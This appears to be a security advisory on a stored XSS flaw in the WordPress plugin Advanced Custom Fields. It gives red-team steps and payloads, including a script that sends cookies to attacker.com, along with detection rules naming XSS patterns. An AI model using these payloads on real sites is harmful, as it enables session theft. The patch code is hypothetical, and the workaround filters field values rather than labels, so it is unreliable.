CVE-2024-45429

Executive Summary

CVE-2024-45429 is a stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin Advanced Custom Fields (ACF) and its Pro variant, versions 6.3.5 and earlier. This vulnerability resides in the field label input mechanism. An authenticated attacker with the 'capability' setting privilege (typically an Administrator or a user with custom ACF management capabilities) can inject arbitrary JavaScript code into a custom field's label. When a user with the same privilege level views the field configuration page, the injected script executes in their browser. This can lead to session hijacking, privilege escalation, or further compromise of the WordPress site.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and directly from the vendor (WP Engine). No NPM, PyPI, Go, or Ruby packages are involved. The risk is primarily to site administrators who install or update the plugin from the WordPress repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
• Privileges Required (PR): High (H) - The attacker must have the 'capability' setting privilege, typically an Administrator.
• User Interaction (UI): Required (R) - The victim must view the malicious field label.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) - Limited ability to modify data (e.g., change plugin settings).
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is low due to high privileges required, the impact is significant in a multi-tenant or shared WordPress environment where users with limited capabilities can be granted ACF management roles.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The Advanced Custom Fields plugin allows administrators to create custom field groups and assign them to various post types, taxonomies, or users. Within a field group, each field has a "Field Label" which is displayed in the WordPress admin interface when editing a post or user.

The flaw lies in the lack of proper sanitization or output encoding of the field label when it is rendered in the admin area. An attacker with the 'capability' setting privilege (which controls who can manage ACF settings) can create or edit a field group and set the field label to a malicious JavaScript payload, such as:

<script>alert('XSS')</script>

When another administrator (or any user with the same capability) navigates to the field group editor or the post edit screen where this field is displayed, the script executes in their browser context. This allows the attacker to steal session cookies, perform actions on behalf of the victim, or inject further malicious content.

The vulnerability is stored in the WordPress database (typically in the wp_postmeta table) as part of the field group configuration. It is not sanitized upon retrieval, leading to execution.

Vulnerable vs. Patched Code

Vulnerable Code (ACF <= 6.3.5): In the file includes/fields/class-acf-field-text.php (or similar), the field label is output without escaping:

// Vulnerable: Direct output without escaping
echo '<label for="' . $field['key'] . '">' . $field['label'] . '</label>';

Patched Code (Hypothetical): A proper patch would use WordPress's built-in escaping functions:

// Patched: Escaped output
echo '<label for="' . esc_attr($field['key']) . '">' . esc_html($field['label']) . '</label>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• A WordPress site with ACF or ACF Pro <= 6.3.5 installed.
• An account with the 'capability' setting privilege (e.g., Administrator).

Steps:

1. Log in as the attacker account.
2. Navigate to Custom Fields > Add New.
3. Create a new field group or edit an existing one.
4. Add a new field (e.g., Text).
5. In the Field Label input, enter the following payload:

   <img src=x onerror=alert(document.cookie)>
   

6. Save the field group.
7. As the victim (another admin), navigate to Custom Fields > Field Groups and click on the malicious field group.
8. The JavaScript executes, displaying the victim's cookies.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual field label content in the wp_postmeta table.
• Look for HTTP requests to unknown external domains from the admin area.
• Use the Sigma rule provided below to detect the attack.

Prevention:

• Restrict the number of users with 'capability' setting privileges.
• Implement a Web Application Firewall (WAF) rule to block script tags in field labels.
• Apply the principle of least privilege.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to suspicious domains from the WordPress admin IP.
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=acf/validate_save_field containing script tags.
• Host:
  • Entries in wp_postmeta where meta_key contains field_ and meta_value includes <script> or <img onerror= patterns.
  • Modified or new ACF field groups with suspicious labels.
• File:
  • No specific file IOCs, as the vulnerability is database-based.

Detection Engineering

YARA Rule

rule CVE_2024_45429_ACF_XSS {
    meta:
        description = "Detects stored XSS payloads in ACF field labels"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45429"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/i
        $xss_payload_2 = /<img[^>]+onerror\s*=/i
        $xss_payload_3 = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Advanced Custom Fields Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in ACF field labels stored in WordPress database
author: Valters IT
logsource:
    category: database
    product: wordpress
detection:
    selection:
        meta_key|startswith: 'field_'
        meta_value|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in field labels (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45429 ACF Stored XSS - Outbound Cookie Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Advanced Custom Fields plugin if not critical to operations.
2. Vendor Patch: Monitor the WP Engine website for a patched version (expected > 6.3.5). Apply immediately when available.
3. Workaround: Implement a WordPress filter to sanitize field labels on save:

   add_filter('acf/update_value', function($value, $post_id, $field) {
       if ($field['type'] === 'text') {
           $value = wp_kses_post($value);
       }
       return $value;
   }, 10, 3);
   

4. Access Control: Review and restrict the 'capability' setting to only trusted administrators.
5. Monitoring: Enable logging of all ACF field changes and review regularly.
6. WAF Rule: Add a virtual patch to block script tags in field label inputs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert